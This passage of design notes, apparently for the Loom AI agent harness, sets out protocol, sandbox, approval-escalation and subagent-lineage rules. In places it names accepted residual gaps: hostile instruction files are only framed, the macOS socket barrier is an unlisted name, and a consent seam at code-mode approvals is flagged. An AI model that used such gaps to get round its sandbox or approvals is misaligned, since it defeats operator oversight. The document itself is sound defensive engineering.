block through `core/codec`, validates image base64 and non-empty MIME types,
and refuses an empty or partly malformed list before `runtime/api` sees it.
A successful command appends one `UserMessage` in the original block order.
- **Durable JSON crosses verbatim.** Gateway-defined field names are
`snake_case`, but values that already have a durable form in the
harness — entries, messages, usage — are carried in `core/codec`'s
vocabulary (pi field names, camelCase) rather than re-rendered.
- **The wire form is pinned by the golden fixtures** under
`packages/client/testdata/protocol/`, which this package decodes and
re-encodes byte for byte. Three details differ from `core/codec` and
the wire follows the fixtures: `toolCall` blocks nest under a
`toolCall` key, `thinking` blocks always carry `redacted`, and floats
print positionally (`0.00027`, not `2.7e-4` — see
`protocol.to_wire_text`). Changing either side is a protocol change,
never silent drift.
- **Immutable rows replay exactly; register-backed events replay as
current state.** `entry` and `usage` events are scanned by seq range,
so a resume reproduces them; `op_transition`, `escalation`, and
`strand_result` are read from registers, which keep no history, so a
superseded phase is not reconstructible. Events are hints and the
snapshot carries live state, so a client that missed an intermediate
phase still converges — overlap and gaps are resolved by seq dedup, as
the protocol already requires.
- **The writer's post-commit publication is production's hint source,
and the hub joins no hint topic under network delivery** (issue #8's
aside, decided). A one-session server's writer and hub share a VM, so
`commit_forwarder` already carries every commit; a bus subscription to
the hint topics would trigger the same pull twice. `serve` does supply
a bus since `protocol-change/031`, for the one topic that is not a
hint: `Outputs`, the rolling tails of running tool calls, published by
`gateway.tool_output_observer` from the effect wiring and relayed as
`tool_output` frames. The scope is entered with the idempotent
`bus.start` because one daemon assembles many sessions. The host
fixture still joins every topic, which is the shape a host whose hints
are not all its own writer's — a projection, a second node's session,
telemetry — takes, with `events/bus.bridge` as the seam that feeds it.
- **Live materialization is a pull, never an apply.** Both the writer's
post-commit publication and any bus publication merely trigger a pull
from storage above the hub's high-water seq; a lost hint costs latency,
never an event.
- **Stream deltas are ephemeral.** They are broadcast without a seq,
never persisted, and the tap lives entirely in the composition seam —
the runtime is untouched by it.
- **A network envelope with no `reply_to` leaves through `deliver`, and
through nothing else** (`protocol-change/018`). `send_to` splits on the
envelope, not on the connection: `Some(_)` keeps the bounded
`send_response` path with its one reply capability, `None` goes to
`deliver`, which re-resolves the binding with `check_binding` for that
one frame and retires the attachment when the answer changed. Push
therefore opens no second way out and needs no new authority path; it
reaches the existing one from the network side.
- **A pushed durable frame is a notice, with one bounded usage exception.**
The hub emits one `committed` per new emit — the seq and the strand — and
records still travel the credited snapshot path. A usage row linked to an
entry claimed by one branch scan also pushes its fixed-shape counters under
the distinct `usage_observation` name after checking the encoded frame
against 64 KiB. A row with no entry, a fallback attribution, or an entry
shared by branches sends only the notice. This observation can drive a live
cache reading but does not own
cumulative totals; a missed push is repaired by the capture. Protocol 047
narrows protocol 018 at this boundary. Delta text is
clipped with `preview_text` before it is encoded, so a pushed frame is
under the reply ceiling by construction rather than by a second
mechanism. A notice is idempotent and order-free: a client that already
holds the seq drops it, and any later catch-up repairs one that was
lost.
- **The hub primes its high-water under network delivery too.**
`start_with_delivery` runs `pull` before serving under either delivery.
Without it a restarted hub's first hint would push a notice for every
sequence the store already held. The prime reads the whole history once
per start, so a supervised restart of a long session's hub pays that
read again.
- **Human input is bounded hub memory with explicit priority.** Busy prompts
and follow-ups retain their submitted author and content until admission.
Steering joins a higher-priority FIFO and stops the observed operation;
explicit Escape marks the existing `HeldQueue` as `Halted`, and nothing held
drains while that mark holds. The next client submission on the strand
(`release_halt`) flips it to `AllHeld`, and one `api.prompt` then admits
every original message and the release together (`protocol-change/033`).
Natural completion and steering retain `OnlyHead` draining.
Removing an empty queue also removes its drain mode; reads and edits preserve
the mode while retaining each item's identity. Each strand has four normal
and four steering slots, and a submission that lifts a halt is exempt from
that bound because it drains the queue rather than growing it. `queued`
acknowledges transient custody, and a gateway restart can lose unadmitted
input. `pending_inputs` exposes bounded excerpts keyed by server-minted
monotonic item identity, while `input_queue_changed` requests a refresh even
when the durable cursor did not move.
- **Graceful drain is a permanent gateway admission fence.** `Draining`
refuses mutations on existing sockets while retaining authenticated reads.
It also disables idle-queue admission before `serve.drain_instance` requests
runtime abort, so a terminal hint cannot start a held successor. One deadline
covers the registry snapshot, all resident callbacks, socket flushes and
runtime settlement. Socket acknowledgements do not prove client receipt;
expiry and disconnection leave return unconfirmed. [Protocol 038](../../protocol-change/038-held-input-custody-return.md)
preserves the queue's memory-only contract and documents this limit.
- **Held input edits preserve admission identity.** `QueuedInputGet` returns
complete text and revision only to the currently mutable original principal.
`EditQueuedInput` compares the held ID and revision in the gateway actor,
preserving FIFO position, priority, author, timestamp, and images. Missing or
drained input and stale revisions return conflict; no edit creates a prompt.
Per-connection `pending_inputs.editable` is derived from authenticated binding,
never the display origin. Protocol 024 bounds complete encoded documents to
48,000 bytes, refusing oversized text instead of editing an excerpt.
- **Worktree observations release the command lane.** `WorktreeDiff` is an
owner-only read of the attached workspace. `serve` supplies the final policy
and existing broker to `client/worktree_diff`; Git runs with read-only
filesystem grants and fixed arguments in the sandbox. The gateway admits at
most two observations, one per connection. A Weft run retains the original
socket cancellation witness and a fourteen-second deadline. Pending is the
ordinary reply; ready and failed are pushes without `reply_to`, correlated
by `board.request_id`. Delivery revalidates authority. Status paths remain
literal identities; at most 24 files and 40,960 encoded board bytes are
retained, with omitted files and partial patches explicit. Patches the
8-second capture deadline does not reach are omitted the same way; only
status and the metadata probes fail the observation. The pinned HEAD
and subsequent filesystem reads form an observation, not an atomic snapshot.
- **Current context is a server observation.** `ContextGet(strand)` captures
`StrandConfig` and `StrandLeaf` together, then projects the immutable branch
through its latest compaction. `client/context_view` prices the pinned prompt,
active unique tool definitions, and projected messages. A usable provider
total already includes static components; `runtime/hooks.context_tokens`
adds only newer message estimates. Carried pre-compaction usage is excluded.
The separate compaction count preserves the existing policy's message-only
fallback. This ordinary session read shares the worktree observer's managed
worker slots and deadline, but does not grant worktree authority. It returns
at most 48,000 encoded board bytes, with complete category totals and explicit
detail omission. No model, hooks, instruction discovery, or billing scan runs.
- **Live-job observations use the existing lifecycle owner.** `LiveJobs` asks
the session jobs actor for nonterminal records owned by one strand. The actor
folds its existing dictionary, retains at most `max_jobs_per_strand` rows,
and reports total and omitted counts. Starting, running, and draining jobs
retain their actual `started_by` operation, command excerpt, age, and
deadline. A missing or unresponsive actor is unavailable, never an empty
roster. This explicit read adds no historical jobs to ordinary captures.
- **Summaries are presentation and degrade to nothing.** `block_summaries`
(`BlockSummariesGet`, 1–32 `{entry, block}` pairs, entry ids checked by
the decoder) is read-only and observer-safe; the gateway reads one exact
`fact.custom` key per block through `blocksummary.read`, answers a
`snapshot` in mode `block_summaries` with `{summaries: [{entry, block,
text}]}` holding only the blocks that have one, treats an undecodable
cell as absent, and reports a failed reader as it reports any capture.
After replying it hands the blocks with no summary to
`Options.summary_demand` (`with_summary_demand`, which `client/serve`
fills with `blocksummary.ask_for`) as a cast, so the reply never waits on
the summarizer.
The `summary/` cells are never in a capture plan: the capture copies the
whole `client/` prefix, and one cell per long block there would push
long sessions past the capture's 1024-cell and 1 MiB bounds.
- **The advisor's pending-nudge queue is a read-only observation that
never drains.** `AdvisorPendingGet` (wire `advisor_pending`, empty
body, unscoped: a session has one advisor and one primary) answers a
`snapshot` in mode `advisor_pending` with
`{strand, observed_at_ms, pending: [string], total}` — the queue oldest
first, exactly as queued. `client/advisor_pending.read` takes one
exact-key `fact.custom` selection for `advisor.guard_key` through the
bounded snapshot reader and decodes it with `advisorguard`'s own
decoder; it never asks the advisor actor and never calls
`take_pending`, so a terminal fetch cannot drain what the primary's
run-start and run-end hooks are entitled to, and a client may call it
repeatedly. A missing guard cell is an empty board — a session whose
advisor has nothing waiting — but a store that will not answer, or a
cell the decoder rejects, is `unavailable`, never an empty success: an
empty board is the positive claim that nothing is waiting, and an
unreadable cell is not evidence for it. The board needs no `omitted`
field, since the guard admits at most `pending_cap` nudges totalling
`pending_bytes` and the whole queue always fits. See
[protocol 039](../../protocol-change/039-advisor-pending-observation.md).
- **Provider previews have request and observer custody.** Each pushed delta
and terminal marker carries the durable request coordinates as `generation`.
Preview observations retain their source; releasing an old observer cannot
clear a newer source. Releasing the current observer removes its sample.
- **Notes are an auxiliary bounded read.** `client/notes_view.read` captures
`agent/<strand>/` independently of conversation metadata. It returns current
values and revisions, at most 4096 bytes per value and 48000 encoded bytes
of rows. Oversized boards return `notes_too_large` without poisoning normal
captures. Tool-availability metadata names actual registry entries and the
host's code-mode discovery diagnostic separately from strand configuration.
- **Socket admission is the websocket process's first handler turn, never
its initializer.** mist starts every websocket process with a hard 500 ms
initializer budget it does not expose, and a missed budget kills the
process together with its TCP socket, which the peer reads as an abrupt
close rather than a refusal. So `client/server`, `client/daemon/server`
and `client/daemon/session_socket` all have `on_init` mint their
subjects, send themselves `Admit`, and return; the root's permit
transfer and the gateway attach — six seconds of budget between them —
run on that message. The self-send is ordered ahead of every frame
because mist hands over the socket and calls `set_active` only after the
initializer has returned, so `Admit` is already queued when the parser
is armed.
- **A deferred transfer owes its HTTP process a barrier.** Both daemon
sites release the reservation and then exit the moment the upgrade
returns, and `root.transfer` refuses a reservation whose HTTP owner has
released it or died. The websocket process therefore signals a subject
owned by the HTTP process as soon as the transfer has been attempted,
and the HTTP process waits for that signal before releasing. It is a
consumed reply from the one process that sends it, not an assumption
about two senders, and it adds no waiting the initializer did not
already impose — only the deadline moved.
- **Every upgrade without the exact bearer token is answered `401`**
before any websocket state exists. `LocalAuth` binds loopback and puts
the token in a `0600` file next to the session, moving the
peer-credential check into the filesystem, because `mist` has no
unix-socket listener to carry `SO_PEERCRED`.
- **A strand's durable `active_tool_names` is canonical: sorted, with
duplicates collapsed, and every name registered.** The list renders
into the request's tool array, which sits ahead of the system prompt
in the provider's render order, and prompt caching matches on an
exact byte prefix — so a reordering costs both cache-head writes on
every subsequent turn. The hub canonicalizes at the `set_config`
boundary and `client/wiring.tool_specs` sorts again at render.
Neither moves the authorization line: `wiring.clear` admits a call by
`list.contains` on this same list, and set membership is blind to
order and multiplicity.
- **The system prompt is assembled at a session's first open and pinned
with its enforcement demand.** Every later boot at the same demand sends
the pinned bytes rather than deriving them again — the agent may have
edited `CLAUDE.md`, the kernel may have changed under a restart, and a
prompt re-derived from moved inputs is a full one-hour cache write on the
first turn after every restart. The demand is the one deliberate cache
break: a changed flag or a legacy pin with no demand identity renders and
pins once, because keeping bytes that claim stronger enforcement than the
broker now demands would trade truth for cache stability. Both cells live
under the reserved `prompt/` prefix, so no model-reachable `put_fact` can
rewrite the operator's channel.
- **The pin is read before `api.open` and written after it.**
`wiring.Config.system` must hold the string before the open, and the
open is what stands the writer up — so the cells are read straight off
the session store while nothing owns it, and written back through
`api.put_reserved_fact` once there is a writer to journal it. Same knot
as the Agency's, solved by ordering rather than by a name because the
value is data, not a process.
- **Nothing volatile may enter `system_prompt.Host`.** No clock, date,
elapsed time, token count, cost, git state, id, strand name or random
value — and no numeric field at all, which is the shape all of those
arrive in. The list fields are sorted and de-duplicated by
`pack.environment` before they can reach the bytes, for the same reason
the tool array is sorted: both sit inside the cached prefix. The one
exception is `available_tools`, the prompt's tool index, which is
de-duplicated but not sorted: its order is the registry's registration
order, which is fixed for the session and is what a reader wants.
- **A prompt pack refuses loudly or serves; it never disappears.** A pack
file that cannot be read, does not decode, or renders to nothing stops
the boot with a worded message naming the file and the fault — a
silently-empty system prompt is the failure this seam exists to end. A
pack that merely trips `pack.problems` (a dropped section, a misspelled
placeholder) warns on stderr and serves: `decode` accepts more than
`problems` approves by design, and a thin prompt beats a dead server.
- **The operator's instructions layer under the workspace's, and only a
file that is not there lets the global lookup move on.** Slot one is
the operator's global `AGENTS.md` — `~/.agents/AGENTS.md`, then
`~/.loom/AGENTS.md`, first found wins — carried into every session;
slot two is the workspace's `AGENTS.md` and slot three its `CLAUDE.md`,
neither of which has a fallback. A workspace `AGENTS.md` that exists
but is oversize or unreadable warns and leaves its slot empty rather than
falling
through to the operator's defaults: serving standing operator
instructions in place of a project file that happened to be unreadable
would swap one set of instructions for another behind everyone's back.
Every one of these reads warns and continues; none of them can stop a
boot. `HOME` unset is the launcher's hard failure degraded to a
warning, because a missing instruction file must never cost a session.
- **The fence around an instruction file is the harness's, and its
`origin` attribute is a claim only the harness can make truthfully.**
At most one `user-default` block exists and it is always the first,
which is what the pack's prose tells the model to check; the bytes
inside a block are otherwise verbatim, and framing a hostile file does
not make it safe — it stops it speaking with the operator's voice, and
the residual risk is accepted and named, exactly as it was for the
single-file case.
- **The Agency is reached through a name, never through a captured
runtime.** `api.open` takes the `Effects` record and returns the
`Runtime`, and `Runtime` *contains* `effects` — so a closure reachable
from `Effects` that captures the `Runtime` is a value cycle, not an
ordering problem. `agency.seam` closes over a minted process name (the
same indirection `gateway.commit_forwarder` uses) and `agency.start`
stands a holder up under it after the open. The holder answers exactly
one message and answers it with the runtime *value*: the tools do the
work on their own effect process, because a holder that did the work
would serialize every agent call in the session behind whichever one
was inside a wait.
- **A strand may wait only on a descendant and address only its parent or
a descendant** — decided from the durable lineage ledger, never from
anything a model says. A strand with no lineage cell is a root and is
nobody's descendant: "no lineage fact" fails closed. That is what makes
the wait graph acyclic and a blocking `agent_wait` safe.
- **The bound with an answer fires first.** Two capabilities this package
services answer on bounds of their own, and both must sit *below*
`client/codemode.default_call_timeout_ms` (120 s): `client/mcp`'s
`default_call_timeout_ms` (60 s) and `agency.default_config`'s
`max_wait_ms` (30 s), the ceiling one `agent_wait`/`strand.wait` is
clamped to. A `ServedHere` call the satellite host gives up on is
answered `unsettled` and its worker killed, so inverting either ordering
would trade a real answer for that refusal on *every* call. The
constants live in three modules and nothing but a test can hold them in
relation, so each is pinned by one:
`the_mcp_call_timeout_wins_the_race_test` and
`the_wait_ceiling_wins_the_race_test`.
- **A reap does one thing on the driver process: `spawn_unlinked`.**
`Hooks.run_end` fires inside `drive_loop`, on the driver, before any
`actor.continue` — so a hook that read a register would be a
`call_forever` from the driver and a hook that waited would stop it
serving `Nudge`, `RequestAbort` and `PollTick`, which is exactly the
property that makes a blocking tool safe. Every read, abort and commit
a reap performs happens on the spawned process. The hook carries no
strand and does not need one: each current child-run record names its
owning operation, including custody transferred on continuation.
- **A reap's intent is durable and its abort is re-issued.** `api.abort`
is a no-op when no driver is registered, so a reap that landed
mid-restart would otherwise evaporate and the child would run until the
session closed. The mark is written once and every later observation
re-issues the abort.
- **A spawn adopts an existing child on a name match only when the ledger
says this caller minted it.** Handing an existing child back is the
reconciliation path that makes `agent_spawn` `ReplaySafe`, and it is
worth keeping — but a name is *derived* and a lineage cell is
*recorded*, and only the second is evidence. So `minted_by` is compared
against the caller's own call site — the operation, `agent.minting_step`
(the step with the minter folded in, since `lineage.CallSite` has no
field for a program's ordinal) and the source index — and a mismatch is
refused as `agent.NameAlreadyMinted`, never adopted. Adoption without
that check is an ownership transfer rather than a reconciliation: the
adopting spawn's brief, tools, `within_ms`, `detach` and `result_schema`
are all discarded (`write_result_schema` runs only on the minting
branch), `check_capacity` is skipped so the adopted child costs nothing
against `fan_out`, and the caller goes on to wait on a strand doing
somebody else's work and report its answer as the answer to a question
it never asked. The name derivation is what makes a collision
unreachable; this is what makes one harmless if it were reached.
- **The blackboard is clamped on both sides.** `agent_note` writes under
`agent/{caller}/`; `agent_notes` with no prefix reads `agent/` and not
the whole non-reserved fact namespace, which is what
`api.facts(prefix: None)` would hand back.
- **The todo cell has one writer.** `agent/{strand}/todo` holds the
strand's `core/todo_list` board, and `note` refuses the `todo` key, which
covers `cap/notes.put` too since it reaches the same closure. The
`todos` closure is the only writer: it reads the cell with
`api.fact_cell`, runs the tool's pure step, skips the write when the
board is unchanged, and commits with `api.put_fact_expecting` against the
sequence it read, retrying up to `todo_attempts` times on
`FactConflict`. A conflict can come only from a sibling `todo` call in
the same batch, so the retry is what lets the tool stay `Concurrent`.
- **A result contract is enforced on the child's write, not on the
parent's read.** A spawn's `result_schema` is stored at
`result-schema/{child}` — written *before* the lineage cell, so a crash
between the two can leave a schema with no child and never a child
whose contract vanished — and quoted into the child's brief. The check
then runs inside `note`, on the child's own `agent_note` call, because
the child is the party that can repair the value and the moment it can
repair it cheaply is the run that produced it; checking only at the
join would tell the one party that cannot act. `wait` validates again
on the way out, not as a second authorization but because the cell
comes back out of the durable store and a value crossing that boundary
is decoded rather than trusted. The contract cell sits outside
`agent/`, which is the whole of what keeps it out of a model's reach:
`agent_note` prepends `agent/{caller}/` and `agent_notes` lists under
`agent/` alone, so a child can neither rewrite what it is judged
against nor read what its siblings were asked for.
- **A report into a *finished* parent is refused.** `api.send_to_strand`
accepts a fresh run when the target is idle, which would wake a
finished parent with no human present — the exact property auto-
enqueued child results were rejected over. The refusal is upward only:
a parent giving an idle child more work is a live agent's explicit
decision inside its own run.
- **The rule scanner's "provably dead" is the ledger's `reaped` mark,
never a terminal `strand.last_result` alone** (issue #113). The
asymmetry above is exactly why: since a live ancestor may still hand
an idle *child* fresh work — never refused, unlike the upward case —
a finished strand is not a dead one, and `client/rulescan` would
silence an operator's rule on a strand that might fire again tomorrow
if it treated "finished" as "will never run again". Only
`client/agency`'s own decision to end a child (an overdue deadline, or
its parent's run ending undetached — `reap`, in `client/agency`) is
durable and deliberate enough to trust, and even that is a named
residual rather than a mechanical guarantee: nothing stops a live
ancestor that still remembers the child's name from addressing it
after the reap. `client/rulescan`'s module doc has the full argument
and the FAIL OPEN branches (no cell, a cell that will not decode).
- **A schedule is owned by the strand that created it and lives no
longer than the strand it fires onto.** Those are two rules and both
are needed. Ownership is what makes a schedule retirable: cancellation
and listing are keyed on the creator, so a parent can cancel a
heartbeat it set onto a child that has already settled — which nobody
could do while a schedule was cancellable only by its target (#163).
The target's lifetime is what makes it bounded: `client/scheduleseam`'s
`run_end` reap retires every schedule keyed to a strand whose brief
just ended, and `client/schedulescan` refuses to fire onto a target
the lineage ledger says is reaped or whose brief has settled, so
neither a lost reap nor an operator's `[[schedule]]` can keep a
finished child's clock running. A target may only ever be the caller
or a strand it spawned, decided from the ledger through
`agency.owns` — the addressing rule above, narrowed — and no schedule
onto a subagent may wake it, whatever the operator's policy permits,
because a subagent has one run and a fresh one after its work ended
would extend a child's life outside its parent's spawn budget. What
ownership does not move is a schedule's identity: the config, seen and
fired keys stay `{target, name}`, because an occurrence is a fact
about the target's timeline.
- **A code-mode submission is judged against the seam it named, and
routed by the seam the host wired.** The two halves are read from
different places on purpose. The allowlist follows the *submission*
(`exec_config` takes its vetting policy from `Request.seam`), so a
refusal the model reads is about the surface it asked for. The router
and the admission ceilings follow the *surface*, so a host serving one
seam hands out that seam's router whatever a request names and no
submission can widen what the operator wired. A request naming a seam
the surface does not serve is refused by the tool shell before
`execute` is called and again by `execute` itself — `StartFailed`,
nothing dispatched, both stages unreported — rather than being
reinterpreted as the seam the host does serve. The residual mismatch
that arrangement allows can only narrow: a program vetted against one
seam's imports and routed by the other's cannot import the modules
whose calls that router services, so it reaches nothing at all.
- **A code-mode policy refusal is raised once, for the whole execution,
and only from the satellite launch.** Code mode clears through the
broker the pipeline holds rather than through `Ctx.clear_call`, so
until #97 a refused execution reached no escalation plane and nothing
could mint the grants #24 taught it to spend. `execute` now wraps the
pipeline's launcher, re-asks the launch's own composition question
(`launch.node_requirements` ⊕ the base ⊕ the identity's grants, so
there is nothing to drift; the same `Config.host_mounts` reaches both
sides), and reports the shortfall outward as
`tools/codemode.RunRefused`; `wiring.tool_context` supplies the raise
seam that turns it into a durable record, and the tool shell
re-executes once on an approval. Three clearance points, one raise: the
hermetic build composes with the grants already dropped, so no approval
can widen it and the question would be unanswerable; a capability call
refused inside a *running* program is refused after effects have
happened, and the one thing an approval buys is a re-execution, which
`replay: tool.Never` says must never happen. The launch is the only one
where nothing has run yet, so the re-execution repeats no effect and
the action a human consents to is still the whole submitted program.
- **The action a code-mode approval binds to is the program.**
`wiring`'s raise builds `escalate.Refused` with `tool: "code_mode"` and
`arguments: run.arguments` — the same post-clearance arguments the
broker path uses — so `record_id` digests `{strand, "code_mode", wanted
diff}` and `action_digest` digests the submission. A retry of the same
program inherits the approval and spends it; a *different* program
wanting the same diff lands on the same record id, fails the action
binding, and re-opens the question with no grants (#65). That is the
seam where consent would most easily leak, because the want is coarse
and the program is everything.
- **A code-mode execution runs under the calling strand's own
`{op_id, step_id}`.** The hermetic build, the jailed `erl`, and every
capability call the running program makes are dispatched under that one
pair, which is the *batch* identity the broker pools budget on —
so the compile and the run share one ledger and one wall deadline
rather than minting a second budget, and `broker.abort` on the
operation reaches the build and the node alike. The pooled
outstanding-effect cap is never below two: the node holds one for its
whole life.
- **Both jailed stages' enforcement reports travel in the outcome.**
`pipeline.execute` returns them beside the outcome — the build's from
`compile.Compiled`, the node's from `satellite.Run`, whose report is
what `CapConnection.destroy` returns — so this module does not wait on
a mailbox and has no grace period to lose. It only restates them as
`tools/codemode.Report`, splitting the helper's `skip:` entries out of
the applied list so no renderer can present a skipped layer as an
enforced one (issue #5).
- **The harness-side capability bridge builds no clearance, and
re-derives no authorization.** `fs.read`, `fs.list`, `kv.*` and
`report.emit` are answered as `satellite.ServedHere` — no
`broker.CallSpec`, no jail, no composed policy — because none of them
leaves the VM and a policy whose enforcer is not present is not a
check (issue #16). What contains them instead is `tools/fs`'s own
`resolve_real`, called by the injected closure: the *same* function
`fs_read` calls, so a symlink planted inside the workspace and pointing
out of it is refused for the bridge exactly as it is for the model's
own tool. Writing a second resolution here would be a second boundary
to keep correct, and the one that got it wrong would be the one nobody
was reading. The write arms are wired through the same discipline:
`fs.write` resolves through `resolve_writable`, so a satellite program
meets the protected-path refusal (#105) exactly where the model's own
`fs_write` does, and `fs.edit` is read-apply-write inside one served
call under `codemode/workspace.apply_replacements`' exactly-once
find/replace ruling — the tightest window the seam can offer, and a
strictly tighter one than the two-round-trip composition a program
would otherwise hand-roll.
The write itself is `fs.write_whole`, which is what `fs_write` calls,
so **both doors create missing parents** and `new_dir/file.txt` means
one thing whichever door it came through. A `fs.list` of a
non-directory is `NotADirectory` under the `not_a_directory` code
rather than an errno sentence, because it is the one listing failure a
program can act on — `fs.read` was the call it wanted — and
`readdir`'s own `ENOTDIR` brings the special files (FIFO, socket,
device node) under the same honest name.
- **A base policy the sandbox cannot enforce is a boot failure.**
`Settings.base_policy` is a field, so a host may hand `boot` any
policy value it can construct, and `assemble` asks
`base_policy_fault` before a directory is made, a lease is taken or a
helper is spawned. The case that motivated it: a relative `protected`
entry is refused by the jail as `RelativePath` and covers nothing in
the harness's own path checks, so an operator who wrote
`protected: [".git"]` would otherwise get a session protecting nothing
and learn about it from the first tool call of it. The check is
`broker/policy.validate`'s — the same one every composed policy passes
immediately before dispatch — so what refuses here is exactly what
would refuse there. Pure and separate from `boot`, because it is a
decision about a value and should be testable as one.
- **A blob is established by a rename, never by a write.** `report.emit`
writes through `blob.write_addressed`: the bytes are staged under a
temporary name in the blob root and renamed into place, so a crash
mid-write can never leave a partial file at an address whose SHA-256
name vouches for the whole of it. The staging name carries eight
random bytes off `Config.entropy`, because two concurrent first
emissions of identical bytes are precisely the pair a content address
cannot separate and a shared staging name is where they interleave.
Idempotency is untouched: the destination is the address either way,
and the `is_file` probe still skips the work.
- **`report.emit` is one mechanism on two seams, and the one workspace
capability with a ceiling.** `cap/report` is the only module both
vetting allowlists carry, so both routers answer `emit` — from the same
closure, into the same blob root, under the same content address and
the same 64-per-execution ceiling (`codemode/artifact`). It earns a
ceiling where `fs.*` and `kv.*` do not because every admitted call
writes something that *outlives the execution*, which is
`satellite.CapCeiling`'s test; the scratch store is bounded store-side
by bytes with eviction instead, which is the right instrument for
something that must not grow rather than something that must not be
called often. So the workspace seam's ceiling list is no longer empty,
and the comment saying it was is gone.
- **The only thing the code-mode wiring adds to a session base is two
environment *names*.** `LOOM_CAP_SOCK` and `LOOM_CAP_TOKEN_FILE` are
set by the launcher and cannot be shadowed by a caller's `env`, but
policy composition takes the meet — so a base that does not name them
composes them away and the satellite cannot find the channel it exists
to speak on. `execution_policy` adds exactly those two and leaves every
other dimension untouched; it is one small named function so it stays
auditable rather than diffusing into the wiring.
- **An execution's files live in their own directory inside the
workspace,** named for `{op_id, step_id, source_index}` and removed
when the execution settles. Inside the workspace, so the session base already
makes it writable and nothing has to be widened to build there; unique
per execution, so neither two strands running code mode at once nor two
`code_mode` calls in one batch can share a build root. The third field
is what makes the second true: `code_mode` is `tool.Exclusive`, which
forbids a concurrent *start* and nothing more, so one batch may hold two
`code_mode` calls that run back to back under one operation and one
step. Keyed on the pair they would build in one directory, bind one cap
socket and write one token file — and the launcher's janitor runs
teardown asynchronously after the host dies, on ordinary exits too, so
the first execution's cleanup could unlink the second's live socket and
token, while `prepare_root`'s recursive delete races the same janitor
the other way (issue #87). The name is a short digest of that triple
rather than the triple itself, so a step id cannot put a separator or a
dot segment into a path.
- **The cap socket does not live in the execution directory** (issue
#611). An AF_UNIX path is limited to 104 bytes on macOS and 108 on
Linux, and a socket inside the workspace failed in any workspace deeper
than about 60 bytes. `codemode.socket_directory` names one directory per
execution under `Config.socket_root`: `<state root>/run` for a
daemon-managed session (`Settings.codemode_sockets`, set by
`resolve_managed`; `codemode.runtime_directory` is the name), or
`work_root` when a host names none. The key is the same `{op_id,
step_id, source_index}` triple plus a length-prefixed work root, since
one socket root serves every workspace, so #87's janitor and
`prepare_root` races stay closed. `execute` removes it with the
execution directory. Extension hosts use `host_socket_directory`, keyed
on the extension name like `host_root`, and keep it for the session.
`daemon/root.directories` creates `<state root>/run` mode 0700 at
startup, and `workspace_policy.established_masks` masks it from **every** jail.
Only the satellite's own base reaches its directory:
`codemode.reaching_socket` adds that directory as a readable root and
drops a protected entry only when it lies inside the socket root and
covers the directory. `protected` has no carve-out verb, so this is the
only way to reopen a path under a mask; a mask above the socket root
(an operator masking the whole state root) is kept and the launch
refuses in band. The build's base and an extension invocation's base
do not get the grant. Under host reads the satellite (and its
`proc.run` children, which share its base) can list the other socket
directories beside its own; they hold sockets only, and each accepts a
connection only with its execution's token, which stays in that
execution's workspace directory. The mask stops listing on both
platforms and connecting only under bubblewrap; Seatbelt allows
unix-socket connects by path, so on macOS the unlisted digest name is
the barrier. A session whose writable roots cover `<state root>/run`
(one opened on the home directory) binds under its own work root
instead (`serve.codemode_socket_root`). The in-band length refusal remains
for the residual case and names the socket root, not the workspace.
- **MCP reaches a model through code mode, and a host with no code mode
starts no MCP server.** A server's tools are a *module* a program may
import, never a registered tool, so a host that registers no
`code_mode` has nothing that could ever call one — and spawning
third-party server processes for it would be cost and attack surface
bought for no capability. One `mcp.unavailable` line says so, naming
the servers that were skipped. Per server, every failing step —
a missing executable, a refused handshake, an unset `api_key_env`, a
listing the generator will not accept — is one more `mcp.unavailable`
line and no boot failure, and it is the only thing anybody will ever
see about it: a refused server has no module, so a program importing it
is refused by vetting with no word about why the module is absent. A
working layer logs `mcp.ready` with each server's name and tool count.
- **Every credential name resolves through exactly one store.**
`Settings.secrets` is the layered `provider/secret.SecretStore` built
in `serve.resolve`, once per session assembly rather than once per
daemon: the `[secrets]` table's resolved pairs over the process
environment. The provider gateway, an MCP server's
`api_key_env`, an extension's bound egress secret, and the `reading:`
seam `tool_environment` builds a jailed shell's environment from are
all handed that same store, so a backend added to `client/secrets`
covers all four or none. A resolved value never enters the catalogue, a
session, a transcript, a log line or a `Failure`; `[secrets]` does not
change what reaches a jail either, because `[tools] env` still passes a
*value the operator listed by name* and `env_allow` is still a list of
names.
- **An `api_key_env` is a variable name, and the value is read at spawn
and never held.** It is resolved through the same `provider/secret`
seam every other configured secret goes through, put into the child's environment under the same name, and
never stored in a record, a log line, or a refusal message. A
configured variable that is unset refuses that server *before* anything
is spawned.
- **Registration is gated on the seam, for both families.** A host with
no messaging plane ships no `agent_*` tools and a host with no
toolchain or no prepared build seed ships no `code_mode` — the boot
says which is missing, once, as a `codemode.unavailable` log line, and
the registry it actually built as `server.tools`. The wire tool array
is the byte prefix of the provider's cached region, so a
permanently-refusing definition would be paid for on every request of
every strand for the life of the session. **The message is part of the
mechanism, not decoration**: it is the only thing anybody will ever
see about an absent code mode, because there is no tool left to fail
later, so it names what is missing, both places that were looked, and
the way to supply it. A working host logs `codemode.ready` with the
`gleam`, the `erl` and the seed it settled on.
- **A component of Loom is looked for in Loom's own tree before `PATH`.**
The helper, the emulator and the compiler are all located from
`code:root_dir()` first (`client/install`). For `loom-exec` that is a
security property rather than a convenience: it is the binary that
builds the namespaces and applies Landlock and seccomp, so a stray one
an unrelated install left on `PATH` must not outrank the audited one
shipped in the same tree as the running server. An explicit `--helper`
still outranks both, because that is how an operator points at a helper
they audited themselves, and a flag naming a missing file refuses
saying so rather than falling through to one they did not choose.
- **Approved grants are validated structurally against the wanted diff**
before being stored back in the runtime's internal vocabulary, so the
consume path hands a re-execution exactly what was approved.
- **A grant reaches a policy decision through the call it was approved
for, and by no other route.** `wiring.tool_context` builds `Ctx.grants`
from `effects.ToolRun.grants` — what *this call's* clearance consumed —
decoded from the escalation vocabulary here, because the runtime moves
those payloads opaquely. A payload that will not decode is dropped
rather than faulted on: skipping a grant can only narrow what the call
receives, and the call still settles in band under whatever remains.
- **A base that covers every shipped tool can never park.** Composition
refuses only when a tool's requirements exceed the base, and
`base_policy` grants read of `/`, writes to the workspace, and the four
environment names `bash` passes — which is every requirement any
shipped tool has, since all of them are static rather than derived from
call arguments. So the default posture is one where the escalation
plane is real but dormant, and a host that wants approvals to mean
something serves a narrower `Settings.base_policy`. This is why the
base is a setting: a test cannot otherwise boot a real server into a
state where a refusal happens at all.
- **Every policy refusal raises a durable record; only some park.** The
two questions are separate on purpose. Raising is unconditional and
deduplicated by a digest of `{strand, tool, wanted diff}`, so a model
that retries lands on the record already pending instead of one row per
attempt, and the in-band error stands alongside it. *Parking* — holding
the call open until a human decides — happens only when
